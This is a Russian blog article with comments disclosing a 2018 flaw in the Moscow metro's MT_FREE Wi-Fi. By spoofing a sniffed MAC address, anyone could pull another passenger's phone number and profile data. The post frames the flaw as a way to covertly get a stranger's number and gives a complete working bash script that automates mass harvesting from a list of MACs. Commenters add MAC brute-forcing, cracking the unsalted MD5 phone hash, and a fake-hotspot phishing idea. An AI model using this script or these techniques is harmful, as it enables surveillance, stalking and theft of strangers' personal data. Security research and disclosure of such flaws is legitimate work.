UPD0 14.03 8:21 — Телефон больше не получить. Остальные интересные данные пока остались.


UPD1 14.03 10:39 — Дабы не очернять ребят из саппорта MaximaTelecom: Сообщил о ней я окольными путями, но раз пять переспросил и уточнил, дошло ли моё письмо до адресата — короче говоря, убедился, что оно у эфемерного (имена просили молчать) ответственного за вафли лица в метро. Я признаю, что это тупо, но цепочка "проблема в мосметро" > "у меня уже были связи со всяким мос, надо позвонить им" мне показалась весьма и весьма логичной в момент обнаружения уязвимости.


UPD2 14.03 15:40 — Уязвимость была найдена в uid Antxak — суть в том, что в uid лежит md5 телефона без соли. Снова можно искать телефоны.


Пример намайненного телефона

image


UPD3 14.03 18:55 — Уязвимый хэш в uid был заменен на тот же, что и в телефоне. Пока не раскололи последний.


UPD4 15.03 20:51 — Значения и ключи почти всех полей были заменены на предположительно обфускованные.


Пример для UPD4
"f1509df640" : "2808dfd5",
   "groups" : [
      "cppk_basic",
      "mck_basic",
      "mosmetro_premium",
      "mgt_basic",
      "mosmetro_basic"
   ],
   "c760cf1502" : "1c0066f3",
   "2147e37a8a" : "159961e5",
   "5777de2cd9" : "fd5a4e2f",
   "tags" : [
      "analytics_742_k2",
      "analytics_808",
      "analytics_342",
      "analytics_360",
      "analytics_403",
      "analytics_571_4",
      "analytics_693_altufyevo"
   ],
   "843539b896" : "",
   "857696ce09" : "a5ff55e9",
   "train" : "",
   "5e97672e80" : "7dce1b03",
   "cec952789d" : null,
   "dmpSegments" : [],
   "place" : "",
   "f4befe4ab6" : "144:149",

Сеттинг


В Московском метрополитене есть такая замечательная вещь, как бесплатный вайфай.
Единственное, что вам нужно, чтобы войти в него — это ввести свой номер телефона. И так как метро — штука хоть и удобная, но зачастую долгая, бесплатной сетью пользуются практически все. В этом интересном мире нам понравилась девушка за столом напротив.


Небольшая уязвимость


Авторизация в этой сети привязывается по мак-адресу, который всегда можно сменить — например на любой пойманный в воздухе вокруг. Поймать мак-адреса можно, например, утилитой airodump-ng. Иногда даже можно войти в wi-fi не смотря рекламу, если реальный владелец мак-адреса оплатил премиум-доступ.


Слив данных о самом себе


Но если вы не в числе оплативших wi-fi, то вас при подключении поприветствует страничка auth.wi-fi.ru. Помимо рекламы, эта страничка отдает один интересный json, который содержит кучу интересной информации о текущем подключенном пользователе.


Даже если вы оплатили премиум-доступ, эту страничку всегда можно открыть, просто вбив в браузере адрес.


Много интересной информации
{
   "dmpSegments" : [],
   "clicker_status" : -1,
   "gender" : "F",
   "place" : "",
   "premium_groups" : {
      "premium_vip_status" : -1,
      "mosmetro_premium_short_status" : -1,
      "mosmetro_premium_status" : 1
   },
   "line_id" : "99",
   "family_status" : "not married",
   "autoapp_status" : 0,
   "premium" : true,
   "autoapp_user" : null,
   "age" : "4500",
   "interests" : "307",
   "train" : "",
   "device_price" : "",
   "mac" : "98-00-**-**-b3-66",
   "ip" : "10.120.193.191",
   "groups" : [
      "cppk_basic",
      "mosmetro_premium",
      "mgt_basic",
      "mosmetro_basic"
   ],
   "home_station" : "192:193",
   "msisdn" : "7925*****03",
   "occupation" : "student",
   "profit" : "medium",
   "clicker" : null,
   "tags" : [
      "yandex.taxi",
      "obed",
      "coffee",
      "analytics_742_k2",
      "analytics_784_dns"
   ],
   "avocation" : "oywh4JCyQYOMHLy8ZM5AXqMZNhal0pDJl-OqBtuq09T5oBLS44GveLog8sWGm3ILB81zUC0mvW_l51J9ykx1kA==",
   "current_station" : null,
   "mnc" : "02",
   "uid" : "********",
   "job_station" : "57",
   "groups_data" : {
      "mosmetro_basic" : {
         "endDate" : null,
         "state" : 1
      },
      "mosmetro_premium" : {
         "state" : 1,
         "endDate" : null
      },
      "mgt_basic" : {
         "state" : 1,
         "endDate" : null
      },
      "cppk_basic" : {
         "endDate" : null,
         "state" : 1
      }
   }
}

Замечу, что номер телефона не закрыт звездочками в реальных данных.


И, собственно, как узнать номер красотки


Я почти уверен, что все вы догадались, как пойдет наш сценарий.


Ева очень хочет узнать телефон Алисы за столом напротив (forbidden love!). Как и большинство людей в Москве, пользуясь телефоном, Алиса так же пользуется и сетью MT_FREE.


Ева следит за Алисой некоторое время, и узнает её MAC с помощью утилиты airodump-ng, широко доступной и работающей практически на любой вафельнице. Узнав его, она следует в метро, меняет свой мак на мак Алисы, открывает страничку auth.wi-fi.ru и получает желанный номер.


Мне лень даже проверять это


Но постой, потенциальная Ева! Чтобы упростить труд перебирания десятков маков из забегаловки в поиске телефона твоем кропотливом исследовании безопасности wi-fi, я сделал небольшой скрипт! Его ты сможешь найти внизу статьи.


To be continued?


Работает получение данных о юзере пока только в метро, т.к удаленно у меня ещё не получилось убедить сервер в том, что мак у меня не 00:00:00:00:00:00. Раньше была возможность передавать мак в параметре client_mac, но аналога я пока не нашел.


Дисклеймер


Я сообщил об уязвимости (наверняка это делали до меня, эта штука очевидна до нельзя) неделю назад, и так и не получив никакого ответа, решил раскрыть её тут.


Всё описанное выше дисклеймера написано от лица вымышленного персонажа, и является художественной литературой. Его мотивы не совпадают с моими, и я это делаю исключительно в исследовательских целях. И даже не особо понимаю, что мне делать с телефоном красотки, которая мне его не дала.


Я не буду показывать на руководство пользования airodump-ng, чтобы не снизить уровень вхождения совсем до нуля.


Скрипт


Для тех, кому просто посмотреть
#!/bin/bash
# script for finding userdata from a list of macs.
# for educational purposes only, of course.

! sudo -p "we require sweet root juices to run, please let us in: " echo -n && exit 1

INPUT=$1
SSID=MT_FREE
DEV=${2:-wlp1s0}
OUTDIR=check-`date +%d-%m-%yT%H:%M:%S`

[ ! -e $INPUT ] && { echo 'no input'; exit 1; }
[ -z $SSID ] && { echo 'no connection'; exit 1; }

function progress() { echo -ne "\033[K"$1"\033["${#1}"D"; }
function status() { echo -e "\033[K$1"; }

function current_userdata() {
    rm .ck 2> /dev/null
    curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' > /dev/null 2>&1
    curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro&mac=ff-00-00-00-00-00' 2>/dev/null | grep userData | grep -oP '(?<=JSON.parse\(\").*?(?=\")' | sed 's/\\&quot;/"/g' | json_pp
    rm .ck
}

function oui() {
    MAC=$1
    if [ -e /var/lib/ieee-data/oui.txt ]; then
        OUIMAC=${MAC//:}
        OUIMAC=${OUIMAC[@]:0:6}
        MACINFO=`grep $OUIMAC /var/lib/ieee-data/oui.txt`
        # getting naame (it's always 22 symbols away from the start)
        MACINFO=${MACINFO[@]:22}
        # removing \r on the end
        echo -n ${MACINFO[@]:0:-1}
    fi
}

tput civis

function on_exit() {
    tput cnorm
    echo "turning wifi back on"
    nmcli dev set $DEV managed true
    nmcli dev set $DEV autoconnect true
}

trap on_exit EXIT

mkdir $OUTDIR

echo "turning wifi on $DEV off for nmcli for now"

# turning it off in nmcli
nmcli dev set $DEV managed false >/dev/null 2>&1
nmcli dev set $DEV autoconnect false  >/dev/null 2>&1

for MAC in $(cat $INPUT); do
    echo -en "\033[2m"$MAC"\033[0m"' : '

    progress "switching..."
    sudo iw dev $DEV disconnect 2>/dev/null
    sudo ip link set $DEV down
    if ! sudo ip link set $DEV address $MAC > /dev/null 2>&1; then
        status "failed to set mac?"
        echo $MAC >> $OUTDIR/not-macs.txt
        continue
    fi
    sudo ip link set $DEV up

    progress "connecting..."

    CON_SUCCESS=
    for try in {1..3}; do
        progress "try $try..."
        if sudo iw dev $DEV connect -w $SSID | grep connected >/dev/null 2>&1 ; then
            CON_SUCCESS=1
            break
        fi
    done

    if ! [ $CON_SUCCESS ]; then
        status "failed to connect to wi-fi"
        echo $MAC >> $OUTDIR/no-assoc-macs.txt
        continue
    fi

    progress "getting ip..."

    if ! sudo dhclient -1 $DEV; then
        status "DHCP failed"
        echo $MAC >> $OUTDIR/no-ip-macs.txt
        continue
    fi

    progress "userdata..."

    USERDATA=$OUTDIR/$MAC-userdata.txt
    current_userdata 2>/dev/null > $USERDATA

    if [ -s $USERDATA ]; then

        AGE=`cat $USERDATA | grep -Po '(?<=age\"\ \:\ \").*?(?=\")'`
        PHONE=`cat $USERDATA | grep -Po '(?<=msisdn\"\ \:\ \").*?(?=\")'`
        PREMIUM=`cat $USERDATA | grep -Po '(?<=premium\"\ \:\ )\w*'`
        GENDER=`cat $USERDATA | grep -Po '(?<=gender\"\ \:\ \").*?(?=\")'`
        OUI=`oui $MAC`

        # just adding some more highlight to that sweet mark of ad-free wifi mac goodness
        if [ $PREMIUM == true ]; then
            PREMIUM="\033[32;1mtrue\033[0;36m"
            echo $MAC >> $OUTDIR/good-macs.txt
        fi

        status "got userdata \033[36m{ msisdn: ${PHONE}, age group ${AGE}, gender: ${GENDER}, premium: ${PREMIUM}, vendor: $OUI }\033[0m "
    else
        status "no userdata"
        rm $USERDATA
        echo $MAC >> $OUTDIR/no-reg-macs.txt
    fi

done

Пример работы

Пример работы скрипта


Ссылка на скрипт в GitHub Gist


Для работы скрипта из зависимостей нужен только curl, json_pp, и желательно иметь новый oui.txt в /var/lib/ieee-data/ (скачать отсюда)


Использование: ./checkmacs.sh (файл с маками на каждой строке) [интерфейс]
По умолчанию используется интерфейс wlp1s0.


Спасибо за прочтение!


UPD: обновил зависимости
UPD: заменил ifconfig на ip (спасибо, bykvaadm ), добавил возможность смены интерфейса без изменения скрипта

Комментарии (84)


  1. Revertis
    13.03.2018 21:13
    +1

    То есть, в идеале, любой человек может спокойно собирать базу всех пассажиров метро, у кого какой номер (и марка) телефона, пол, семейное положение, род занятий, где живёт, где работает, в какую возрастную группу входит и так далее. Замечательно!


    1. cab404 Автор
      13.03.2018 21:18
      +2

      Займет это довольно таки мучительно долго, но в принципе легко распараллелить нагрузку на несколько usb-wifi карт, одной собирая маки и другими их проверяя. Если бы я нашел всё же способ представится под любым маком, то статья бы уже назвывалась "«Watch Dogs: Москва», или приложение для самых быстрых знакомств". Ну и был бы не скрипт, а полноценное Android-приложение.


      1. Revertis
        13.03.2018 22:29

        Ну так их можно брутфорсом генерировать. Там ведь кусок мака это код производителя. Можно прикинуть сколько их там будет… Ну штук 20 для начала. А остальные биты перебирать.
        Прямо вот так:
        1. Поставил новый сгенерированный мак
        2. Подключился к сети
        3. Стянул JSON
        4. Записал в мини-базу типа sqlite, например
        5. goto 1

        Это можно делать с любого рутованного телефона, не вынимая из кармана. Только powerbank подключить желательно :)


        1. cab404 Автор
          13.03.2018 22:52

          Есть одим маленький нюанс у брутфорса — в лучшем случае слив информации (переключение/запрос) занимает полсекунды. Всего вариантов 2^8^6 на одного вендора, ну и соответственно 2^8^5 секунд на перебор. когда я вбил эти цифры в калькулятор он выдал мне улыбающуюся рожицу


        1. cab404 Автор
          13.03.2018 23:00

          Не успел добавить в предыдущий коммент

          image


          1. Revertis
            14.03.2018 00:09
            +1

            У меня получилось 2^24 = 194 дня (на одного вендора) если за секунду подключиться и слить JSON.
            Мак ведь 6 байт занимает, 3 байта код вендора, а три байта код устройства.
            Распараллелить скачивание JSON'ов и проблема решена.
            Плюс, конечно, можно и маки собирать, чтобы ускорить их «проверку».


            1. cab404 Автор
              14.03.2018 00:17

              Моя ошибка, посчитал 6 символов как 6 байт, да.
              Всё равно я стою на своем, что таким образом всё, что мы получим — высокую нагрузку на сеть и 99% неиспользованных маков. Плюс не факт, что уязвимость столько продержится.


          1. VProtoss
            14.03.2018 13:23
            +1

            Вы забываете о том, что телефоны от надкусанного яблока при каждом подключении к сети меняют свой мак, код вендора тот же, а оставшаяся часть меняется. Вроде как самсунги тоже на такое перешли, не знаю точно. Таким образом, при снифе данных может получиться хорошая такая каша из большого количества маков на одного человека, или несколько человек на одном маке, или всё вместе.


            1. darii
              14.03.2018 13:37

              Не знал об этом. А есть спецификации, где это поведение описано?


            1. megazloj
              14.03.2018 13:45

              Не сталкивался с таким. Может это на совсем «последних» яблоках? Пятерка и iPad Pro с одним и тем же всегда подключаются.


              1. VProtoss
                14.03.2018 14:28

                Как минимум, с iOs 8, новость была ещё в 14м году. geektimes.ru/post/243599


            1. Phaker
              14.03.2018 16:00

              Меняют не при подключении, а при сканировании и только для неизвестных сетей. Когда автоматом подключаются к известной — показывают честный MAC. Можно на тот же MT_FREE их ловить, ведь нам как раз нужны те, кто им пользуется.


            1. kalininmr
              14.03.2018 16:24

              то есть им нельзя пользоваться если вайфай сеть пускает по маку?..

              как то странновато…


          1. Nikobraz
            15.03.2018 04:23

            Я думаю логичным вариантом будет перебирать MAC адреса PCT Айфонов последних 3 поколений.


  1. twelve
    13.03.2018 21:24

    В условиях обслуживания MT_FREE наверняка же есть что-то про то, что вы разрешаете передавать свои персданные третьим лицам? Ну вот — просто эти третьи лица не обязательно рекламодатели, а могут быть хоть кто.


  1. postgres
    13.03.2018 21:26

    Круто, попробую посмотреть что-нибудь о себе.


    1. cab404 Автор
      13.03.2018 21:27
      +1

      Можешь просто запустить функцию `current_userdata` из скрипта — она вытаскивает данные.


  1. Mergul
    13.03.2018 21:30
    +1

    Интересно, какая полнота у этой всей юзердаты и откуда конкретно она берётся. Ясно, что home_station и work_station довольно легко отклассифицировать просто по истории перемещений, а откуда берётся family_status или occupation, например?


    1. F0iL
      14.03.2018 12:10

      Два мака появляются и исчезают часто одновременно? Значит, состоят в отношениях или женаты.
      Один из регулярных пунктов назначения находится около какого-нибудь большого вуза, а второй около общежитий, и время суток примерно совпадает? Значит студент. В 8.00-10.00 каждый день едет «туда», а в 17.00-19.00 «обратно»? Скорее всего, работающий. И т.д.


      1. LexS007
        14.03.2018 14:11

        Cлишком сложно и слишком примерно. У них подключены же аналитические сервисы, наверняка могут получить такую инфу от них


    1. LexS007
      14.03.2018 13:17

      скорее всего по истории переходов по страницам из соц. сетей тянут инфу


      1. F0iL
        14.03.2018 13:36

        В соц. сетях сейчас обычно все по HTTPS, поэтому «со стороны» без MitM подсмотреть, по каким страницам ходит пользователь не так-то просто.
        Разве что только если явно сотрудничать с ресурсами в целях сбора данных.


    1. QDeathNick
      14.03.2018 16:52

      Я помню, при регистрации указывал всякие личные данные, пол, интересы, возможно и статус. Видимо оттуда и берутся.


  1. random1st
    13.03.2018 21:44

    Берем самые распространенные вендоры чипов в телефонах, опа — первые 6 байт есть. Понеслась дальше.


    1. cab404 Автор
      13.03.2018 21:45
      +1

      Для этого и есть oui.txt — там содержатся зарегестрированные в IEEE вендоры телефонов вместе с их первыми шестью байтами. Или ты имеешь в виду брутом пройтись по всем остальным шести байтам?


  1. whiplash
    13.03.2018 22:43

    Товарищи #поибэ

    А расскажите пожалуйста, что пытаются выцепить из трафика скрипт-киддисы с сетью MT_FREE_ в метро? Вроде всё важное в https давно. Или ssl stripping и т.д.?


    1. ZetaTetra
      14.03.2018 01:41

      MAC адрес мальца ниже чем SSL/TLS.

      en.wikipedia.org/wiki/OSI_model


  1. Psychosynthesis
    13.03.2018 22:49

    Помимо рекламы, эта страничка отдает один интересный json, который содержит кучу интересной информации о текущем подключенном пользователе.

    Есть идеи как этот json посмотреть с телефона? Вроде в хроме мобильном нет инструментов разработчика?


    1. cab404 Автор
      13.03.2018 22:53

      Там всё равно работает view-source, насколько я помню. Вбей мануально в адресную строку view-source:http://auth.wi-fi.ru/auth.


      1. Psychosynthesis
        13.03.2018 23:00

        Ну, кстати да, спасибо. Странно что они это из меню убрали.


  1. ClearAirTurbulence
    13.03.2018 23:28

    offtopic

    И так как метро — штука хоть и удобная, но зачастую долгая, бесплатной сетью пользуются практически все.

    Не знаю как все, но после того, как MT_FREE начали сбрасывать коннект чуть ли не каждые пять минут, чтобы показать свою рекламу снова, пришлось от них отказаться; благо, почти везде (по крайней мере, где я бываю) в метро работает сотовой интернет, где-то лучше, где-то хуже.


    1. dmitryredkin
      14.03.2018 00:00

      1. cab404 Автор
        14.03.2018 00:08

        Честно скажу, что su -c "ifconfig hw ether {один из интересных маков с premium: true}" после включения wi-fi модуля работает лучше практически любого решения, т.к особо нет вариантов защититься от смены мака.
        Но таких интересных маков скорее всего нет на моей странице vk.


        1. bykvaadm
          14.03.2018 12:36
          -1

          Честно скажу, что советовать пользоваться deprecated-утилитами плохо.

          ip link set eth0 address 02:01:02:03:04:08


          1. cab404 Автор
            14.03.2018 16:36

            Не знал, что он устарел – спасибо, исправлю скрипт!


            1. bykvaadm
              16.03.2018 18:12

              Вы, видимо еще не устанавливали свежий debian 9 (который вышел еще в прошлом году). В его release notes было даже в явном виде указано, что ifconfig вообще теперь по-умолчанию выпилен из системы. По факту, статус deprecated ifconfig получил еще лет 5 назад, все это время людям говорили что надо с него уходить…

              5.3.9. net-tools will be deprecated in favor of iproute2

              The net-tools package is no longer part of new installations by default, since its priority has been lowered from important to optional. Users are instead advised to use the modern iproute2 toolset (which has been part of new installs for several releases already).


      1. ZetaTetra
        14.03.2018 01:43

        AdBlock+ на FF тоже решает проблему с рекламой. И пока без банов.


      1. PEgorov
        14.03.2018 12:51

        В последние пару недель с ним стали бороться — периодически на телефон прилетает дневной бан.


  1. decomeron
    13.03.2018 23:29
    +1

    Значит у некрасивой нельзя. Ура!


    1. QDeathNick
      14.03.2018 09:59

      Судя по скрину с примером там вообще одни мужчины.


  1. cab404 Автор
    14.03.2018 00:29

    Чтобы людям было чуточку интереснее, я добавлю сюда небольшой файл с мак-адресами. На нем вы можете проверить работу скрипта.


  1. cab404 Автор
    14.03.2018 08:30

    Из МаксимаТелеком уведомили в ЛС, что уязвимость устранена. Кто-нибудь в метро?


    1. borisovEvg
      14.03.2018 08:50

      Злосчастный json на месте


      1. cab404 Автор
        14.03.2018 08:54
        +1

        Но телефона в нем больше нет, что уже радует. Теперь нам не удасться узнать, как позвонить красотке, но у нас всё ещё есть возможность узнать, что она предпочтет на день рождения и где её можно поджидать.
        Насколько я понял, они заменили номер телефона на его хэш.


        1. Akon32
          14.03.2018 09:30

          они заменили номер телефона на его хэш

          При известном алгоритме и отсутствии соли номер определить теоретически несложно.


          1. Oxoron
            14.03.2018 10:55

            А алгоритм можно попробовать определить используя свой номер (и полученный хеш от него).


    1. cruzo
      14.03.2018 10:32

      Жаль, что за такой big bounty уведомление пришло в ЛС, а не на номер 900 и, минимум, с четырьмя нулями.


    1. vconst
      14.03.2018 15:39

      Подписку хоть подарили?..


      1. cab404 Автор
        14.03.2018 16:05

        Я не думаю, что сейчас им до подписок, честно говоря. Да и зачем?


        1. vconst
          14.03.2018 16:24

          За уязвимости принято благодарить не только спасибой…


  1. fukkit
    14.03.2018 09:33

    То есть, красоток вы боитесь, а ст.ст. 137,272 УК РФ нет?


    1. Oxoron
      14.03.2018 10:57
      -1

      Ну как вам сказать
      image


  1. ParadoxFilm
    14.03.2018 11:57

    Сегодня пробовал в метро, вместо телефона теперь хеш:
    "msisdn":"f5618b8ef6e2c7cde6f674da5e6d485329aa026607175a624b8aee7b9a0de97e"


    1. ParadoxFilm
      14.03.2018 12:02

      Насколько можно судить, это SHA256.


      1. unwrecker
        14.03.2018 12:11
        +3

        Теперь телефоны красоток можно майнить


      1. vlreshet
        14.03.2018 13:33

        Интересно, солёный ли. Иначе можно вполне себе быстро брутить при хорошем железе)


        1. VProtoss
          14.03.2018 14:18

          Только что попробовал, 100К телефонов за 4 минуты, проц i5 2.67 GHz, загружено было только одно ядро на 13%. Можно легко сделать заранее небольшие таблицы хэш-телефон, и потом по ним искать. Или на впс где-нибудь рест-сервисом оформить. Размер данных на 100К записей — 7.7 Мб


          1. manok
            14.03.2018 14:25

            Для номеров телефонов иметь такие таблицы смысла, имхо, нет. Hashcat может брутить SHA256 с очень большой скоростью, даже на моем слабом ноутбуке скорость около 115 миллионов хешей в секунду.


            1. VProtoss
              14.03.2018 15:56

              Спасибо за инфу! А то я по-дилетантски скрипт на баше наваял…


        1. manok
          14.03.2018 14:19

          Было бы удивительно, если бы не посолили :) проверил выше представленный хеш по маске 7(\d{10}) — нет результатов.


    1. Antxak
      14.03.2018 14:58
      +6

      Не тот хэш смотрите.
      Поле «uid» — md5(номер телефона).
      Причем БЕЗ соли.
      Соответственно загоняете в онлайн радужную таблицу, например — www.md5online.org
      И вуаля телефон ваш, задача усложнилась на посещение одного сайта.
      Проверил на нескольких юзерах и своем телефоне.


      1. LexS007
        14.03.2018 15:10

        У MaximaTelecom высококлассные спецы)
        Напридумывают всякого, солить еще зачем-то


        1. a1ien_n3t
          14.03.2018 15:24
          +1

          Ох как интересно. в поле uid и раньше лежал md5 телефон без соли. При этом еще присутствовал в открытом виде.
          Теперь в msisdn видимо с солью sha256
          Но uid они решили не менять…


          1. QDeathNick
            14.03.2018 16:56

            А чего раньше времени думать. Вот хабр умный, он подумает, они прочитают и посолят.


        1. ToshiruWang
          15.03.2018 16:12

          Следят за здоровьем — меньше соли, везде (но жизнь заставляет, судя по upd).


  1. Cheater
    14.03.2018 13:21
    +1

    > «family_status»: «not married»
    > «occupation»: «student»

    Эм, я чего-то не понимаю, откуда у провайдера данные по семейному положению и роду занятий? Пользователь их вносит при авторизации наряду с ФИО или телефоном? Какой в этом смысл, ФЗ126 же требует только паспортные данные/телефон?


    1. LexS007
      14.03.2018 13:32

      Смысл в персонализированной рекламе. Вопрос только зачем эта инфа шлется пользователю при подключении?


    1. VProtoss
      14.03.2018 14:20

      Могут и просто по косвенным признакам/статистике передвижений насобирать. Опять же, через социалки можно много чего о человеке узнать.


    1. nikolayv81
      14.03.2018 20:41

      Если married то можно любую околопристойнойную рекламу показывать, а её у них навалом.


  1. Germanets
    14.03.2018 13:32

    Хм, а от запроса скриптом с другого сайта там защита-то есть? То есть вместо собирания кучи мак-адресов просто засовываем в популярный сайт скрипт, сопоставляющий пользователя с его данными из московского вайфая… Рекламщики такой инфе порадуются…


    1. Tsvetik
      14.03.2018 13:57

      Да ну что вы, какие глупости. Как же тогда на популярном сайте премиум контент втюхивать?


    1. Avenger911
      14.03.2018 19:25

      Этому Same Origin Policy должна помешать


      1. batyrmastyr
        15.03.2018 08:37

        Ей только браузеры обязательно следуют, а на сервере нужно самому защиту писать. Из вроде как надёжных способов вспоминается только проверка по IP-адресам (диапазон + запрет на прокси).


        1. Avenger911
          15.03.2018 11:09
          +1

          на сервере нужно самому защиту писать

          В целом, конечно, да, но предложенный Germanets механизм требует, чтобы скрипт выполнился в браузере пользователя на сайте атакующего, получил данные с сайта метро и отправил их далее. Защита браузера не даст доступа к запрошенным данным.


  1. xFFFF
    14.03.2018 14:56

    Раньше тырил куки от контакта, одноклассников, fb и кучи других сайтов через DroidSheep. Можно было узнать не только номер красотки, но и почитать ее переписку ))) Сейчас большинство сайтов ввели защиту от этого.


  1. cab404 Автор
    14.03.2018 15:24

    Я честно не ожидал, что за четыре часа, которые пройдут, вы сможете просто взять и прошерстив эти данные, найти снова телефон. Сейчас иду в метро, проверять/менять пост. Спасибо за инфу, Antxak!


  1. eugenebb
    14.03.2018 16:33

    А если сделать свой hotspot с ssid MT_FREE и хорошим уровнем сигнала, сделать перенаправление на страничку похожую на auth.wi-fi.ru, и попросить девушку ввести свой телефон. Может и получится.


    1. QDeathNick
      14.03.2018 16:59

      Сколько геморроя для того, чтобы просто поговорить с девушкой, стоящей напротив :)


      1. eugenebb
        14.03.2018 20:47

        А если едут четыре красивых и все с WiFi, с одной начнёшь говорить, а с тремя остальными шанс упущен.

        А так автоматизация процесса, главное чтобы старушки с WiFi не попались, или не дай ТНБ, ушлые старички.

        Да, после некоторого раздумья, наверное с автоматизацией лучше повременить.


      1. 0xd34df00d
        15.03.2018 15:11

        Ровно поэтому я с ними и не говорю. И никакого геморроя!


  1. PavelMSTU
    14.03.2018 19:04

    Ставь +1, если как я ни разу в жизни не заходил в публичную Wi-Fi сеть,
    требующую ввести телефон.


    1. TimsTims
      14.03.2018 20:23

      А использовать для этого специальную отдельную сим карту?


  1. cab404 Автор
    14.03.2018 19:28

    Если у кого-то нет доступа к московскому метро — я скачал wget -rом auth.wi-fi.ru и auth.wi-fi.ru/auth для своего mac-адреса. Телефон — 79017980642.


  1. cab404 Автор
    15.03.2018 22:56

    В authorizat.bundle.js есть что-то похожее на расшифровку вещей из UPD4.
    homeStationId:window.userData["104c52d70d"],jobStationId:window.userData.f4befe4ab6